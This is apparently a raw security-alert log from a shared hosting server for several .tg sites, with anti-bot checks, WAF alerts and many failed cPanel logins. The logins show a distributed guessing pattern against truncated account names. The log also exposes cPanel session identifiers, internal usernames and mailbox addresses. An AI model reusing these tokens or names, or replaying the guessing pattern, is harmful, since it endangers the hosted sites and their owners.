103.108.92.88 - - [17/Jun/2026:14:39:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9684636&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781707159 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:14:39:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118001&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781707163 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-17 14:41:50 +0000] info [cpaneld] 185.55.240.13 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 200.83.98.201
country_id: 3895114
description:
200.83.98.201 - - [17/Jun/2026:14:41:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9814939&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-240451retid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781707285 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-240451retid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:200.83.98.201


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.245.175.178
country_id: 1835841
description:
Jun 17 14:44:13 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.245.175.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.245.175.178
country_id: 1835841
description:
2026-06-17 14:44:15 dovecot_plain authenticator failed for H=(kcpzu4fzh0v7ijsyhm68bhzaq) [1.245.175.178]:53451: 535 Incorrect authentication data (set_id=aime.d@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.121.18
country_id: 99237
description:
[2026-06-17 14:44:32 +0000] info [cpaneld] 212.237.121.18 - digilix "GET /login/?login_only=1&user=digilix&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digilix (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.236.56.21
country_id: 99237
description:
[2026-06-17 14:44:38 +0000] info [cpaneld] 37.236.56.21 - digili "GET /login/?login_only=1&user=digili&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digili (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.127.7.30
country_id: 1210997
description:
[2026-06-17 14:44:45 +0000] info [cpaneld] 103.127.7.30 - digil "GET /login/?login_only=1&user=digil&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digil (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.124.11.151
country_id: 3469034
description:
[2026-06-17 14:44:29 +0000] info [cpaneld] 177.124.11.151 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.243.195.22
country_id: 298795
description:
[2026-06-17 14:44:37 +0000] info [cpaneld] 88.243.195.22 - digilixtg "GET /login/?login_only=1&user=digilixtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digilixtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.241.70.182
country_id: 298795
description:
[2026-06-17 14:44:52 +0000] info [cpaneld] 88.241.70.182 - digi "GET /login/?login_only=1&user=digi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.201.83.163
country_id: 290557
description:
[2026-06-17 14:44:56 +0000] info [cpaneld] 87.201.83.163 - dig "GET /login/?login_only=1&user=dig&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dig (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.226.76.241
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/route-nationale-n1-un-accident-fait-dix-morts/ HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.226.76.241
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/route-nationale-n1-un-accident-fait-dix-morts/ HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.120.106.171
country_id: 2635167
description:
[2026-06-17 14:44:39 +0000] info [cpaneld] 2.120.106.171 - digili "GET /login/?login_only=1&user=digili&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digili (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 207.255.71.13
country_id: 6252001
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1950 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.64.85
country_id: 1831722
description:
[2026-06-17 14:47:07 +0000] info [cpaneld] 157.85.64.85 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.143
country_id: 1880251
description:
47.128.96.143 - - [17/Jun/2026:14:48:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039388&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faige%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781707684 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/aige/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.143


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.164
country_id: 1880251
description:
47.128.96.164 - - [17/Jun/2026:14:48:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10209434&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvictime%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781707691 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/victime/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.164


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.122
country_id: 1880251
description:
47.128.96.122 - - [17/Jun/2026:14:49:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723224&pdata=https%253A%252F%252Ftdn.tg%252Ftogblekope-conseiller-president-du-conseil-interpelle%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781707743 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togblekope-conseiller-president-du-conseil-interpelle/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.122


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 185.16.38.36
country_id: 798544
description:
[2026-06-17 14:49:27 +0000] info [whostmgrd] 185.16.38.36 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.16.38.36
country_id: 798544
description:
[2026-06-17 14:49:27 +0000] info [whostmgrd] 185.16.38.36 - root "GET /cpsess7619996032/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.34
country_id: 2635167
description:
[2026-06-17 14:50:37 +0000] info [cpaneld] 5.230.153.34 NEW naduwpdk:A6D68q3wCG3s8yCI address=5.230.153.34,app=cpaneld,creator=naduwpdk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-17 14:50:43 +0000] info [cpaneld] 185.55.240.13 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:52:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:52:18 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 122.181.103.54
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7d6c5b HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:53:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9986461&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781707980 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 155.117.37.39
country_id: 2921044
domain: macite.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:q||MV:59--des-consommateurs-ivoiriens-ont-deja-utilise-lia-pour-leurs-achats-mais-la-confiance-reste-decisive-au-moment-du-paiement||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.111
country_id: 3469034
description:
Jun 17 14:53:34 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.111 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.206.83.47
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1287647294 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:57:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9859178&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781708237 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.252.229.77
country_id: 3865483
description:
Jun 17 14:56:27 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.252.229.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.161.38
country_id: 2017370
description:
2026-06-17 14:56:49 dovecot_plain authenticator failed for H=(fnvy0ttyqd0oyyrcp510kvfo) [104.28.161.38]:44999: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:14:57:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10459757&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781708236 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.23.25
country_id: 2635167
description:
[2026-06-17 14:57:45 +0000] info [cpaneld] 195.63.23.25 - libertepansel "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:14:57:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001257&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781708247 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 109.109.39.124
country_id: 130758
description:
2026-06-17 14:57:40 H=([109.109.39.148]) [109.109.39.124]:51286 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77093094
abuser: 34.123.82.129
country_id: 6252001
domain: tchambainvest.tg
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.4.65.37
country_id: 1814991
description:
Jun 17 15:02:00 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.4.65.37 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.168.154.171
country_id: 2363686
description:
[2026-06-17 15:03:45 +0000] info [cpaneld] 196.168.154.171 NEW prbthzuj:pBkZc5BUcUmzsDOd address=196.168.154.171,app=cpaneld,creator=prbthzuj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.51.29.53
country_id: 1269750
description:
Jun 17 15:03:39 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.51.29.53 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.237.120.194
country_id: 99237
description:
212.237.120.194 - - [17/Jun/2026:15:03:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857129&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F08%252F28%252Factualites-internationales-presidentielle-2025-en-cote-divoire-un-record-de-60-candidatures-deposees-la-bataille-sannonce-intense%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781708631 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/08/28/actualites-internationales-presidentielle-2025-en-cote-divoire-un-record-de-60-candidatures-deposees-la-bataille-sannonce-intense/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.2792.1253 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.237.120.194


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.154.171
country_id: 2363686
description:
[2026-06-17 15:03:42 +0000] info [cpaneld] 196.168.154.171 - prbthzuj "GET /cpsess5845632830/frontend/jupiter/email_accounts/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.168.125.175] != Current IP Address [196.168.154.171]


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - info@case-afrique.tg [06/17/2026:15:05:04 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: info@case-afrique.tg


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 17 15:05:14 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.21.78
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/1-1-768x576.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/1-1-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/1-1-1024x768.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/1-1-1536x1152.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/06/1-1-2048x1536.webp 2048w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:15:05:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9593237&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781708705 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.232
country_id: 6252001
description:
Jun 17 15:05:14 ns5 pure-ftpd[2040693]: (?@198.235.24.232) [INFO] New connection from 198.235.24.232


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.39.192.92
country_id: 285570
description:
[2026-06-17 15:05:59 +0000] info [cpaneld] 37.39.192.92 - soroubat "GET /login/?login_only=1&user=soroubat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroubat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.76.49.102
country_id: 1562822
description:
[2026-06-17 15:06:02 +0000] info [cpaneld] 115.76.49.102 - soroubattg "GET /login/?login_only=1&user=soroubattg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroubattg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 120.147.145.236
country_id: 2077456
description:
[2026-06-17 15:06:07 +0000] info [cpaneld] 120.147.145.236 - sorouba "GET /login/?login_only=1&user=sorouba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sorouba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.176.26.10
country_id: 2542007
description:
[2026-06-17 15:06:12 +0000] info [cpaneld] 160.176.26.10 - sorou "GET /login/?login_only=1&user=sorou&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sorou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.166.144.248
country_id: 3895114
description:
[2026-06-17 15:05:56 +0000] info [cpaneld] 45.166.144.248 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 1.55.227.243
country_id: 1562822
description:
[2026-06-17 15:06:06 +0000] info [cpaneld] 1.55.227.243 - sorouba "GET /login/?login_only=1&user=sorouba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sorouba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.189.174.161
country_id: 3865483
description:
[2026-06-17 15:06:21 +0000] info [cpaneld] 45.189.174.161 - sor "GET /login/?login_only=1&user=sor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sor (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:15:06:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.222.137.166
country_id: 3508796
description:
[2026-06-17 15:05:54 +0000] info [cpaneld] 148.222.137.166 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.99.135.20
country_id: 3469034
description:
[2026-06-17 15:05:57 +0000] info [cpaneld] 138.99.135.20 - soroubat "GET /login/?login_only=1&user=soroubat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroubat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.238.233.227
country_id: 3996063
description:
[2026-06-17 15:06:02 +0000] info [cpaneld] 189.238.233.227 - soroubattg "GET /login/?login_only=1&user=soroubattg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroubattg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.165.50.39
country_id: 690791
description:
[2026-06-17 15:06:11 +0000] info [cpaneld] 178.165.50.39 - sorou "GET /login/?login_only=1&user=sorou&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sorou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 169.224.28.219
country_id: 99237
description:
[2026-06-17 15:06:10 +0000] info [cpaneld] 169.224.28.219 - soroub "GET /login/?login_only=1&user=soroub&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroub (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.220.205.172
country_id: 1210997
description:
[2026-06-17 15:06:18 +0000] info [cpaneld] 103.220.205.172 - sor "GET /login/?login_only=1&user=sor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sor (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.113.25.49
country_id: 174982
description:
[2026-06-17 15:06:22 +0000] info [cpaneld] 217.113.25.49 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:15:06:24 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.137.56
country_id: 3658394
description:
[2026-06-17 15:06:25 +0000] info [cpaneld] 157.100.137.56 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.215.65.75
country_id: 6252001
description:
[2026-06-17 15:08:57 +0000] info [cpaneld] 181.215.65.75 - pharma "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pharma (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:15:11:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804439&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781709105 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
